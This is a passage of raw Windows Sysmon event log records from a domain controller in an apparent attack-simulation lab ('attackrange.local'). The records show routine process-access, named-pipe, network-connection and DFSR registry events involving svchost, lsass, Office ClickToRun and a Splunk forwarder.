10341000x800000000000000040674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.393{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 17141700x800000000000000040673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:44:05.393{7BD73061-6F34-613B-7608-00000000F001}5216\ShellEx_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVShNotify.exe 17141700x800000000000000040672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:44:05.393{7BD73061-6F34-613B-7608-00000000F001}5216\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVShNotify.exe 10341000x800000000000000040671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.393{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F34-613B-7808-00000000F001}6448C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.393{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F34-613B-7608-00000000F001}5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVShNotify.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.393{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F34-613B-7608-00000000F001}5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVShNotify.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.393{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.393{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.393{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 17141700x800000000000000040665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:44:05.393{7BD73061-6F34-613B-7608-00000000F001}5216\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVShNotify.exe 10341000x800000000000000040664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.377{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.377{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.362{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.362{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.362{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.362{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.346{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.346{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.346{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.331{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.331{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.331{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.315{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000040651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.623{7BD73061-65B2-613B-0D00-00000000F001}892C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59217-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000040650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.623{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59217-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000040649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:03.486{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59216-false10.0.1.12-8000- 13241300x800000000000000040648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:05.315{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Volumes\9752B235-0000-0000-0000-100000000000\Volume Configuration File\\.\C:\System Volume Information\DFSR\Config\Volume_9752B235-0000-0000-0000-100000000000.XML 13241300x800000000000000040647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:05.315{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Replication Groups\A9BEF82B-7554-4A26-9673-C40BC60290B0\Config SourceDWORD (0x00000001) 13241300x800000000000000040646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:05.315{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Replication Groups\A9BEF82B-7554-4A26-9673-C40BC60290B0\Replica Set Configuration File\\?\C:\System Volume Information\DFSR\Config\Replica_A9BEF82B-7554-4A26-9673-C40BC60290B0.XML 10341000x800000000000000040645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.315{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.299{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.299{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.284{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.284{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.284{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.284{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.268{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.268{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.268{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.253{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.253{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.237{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.237{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.221{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.221{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 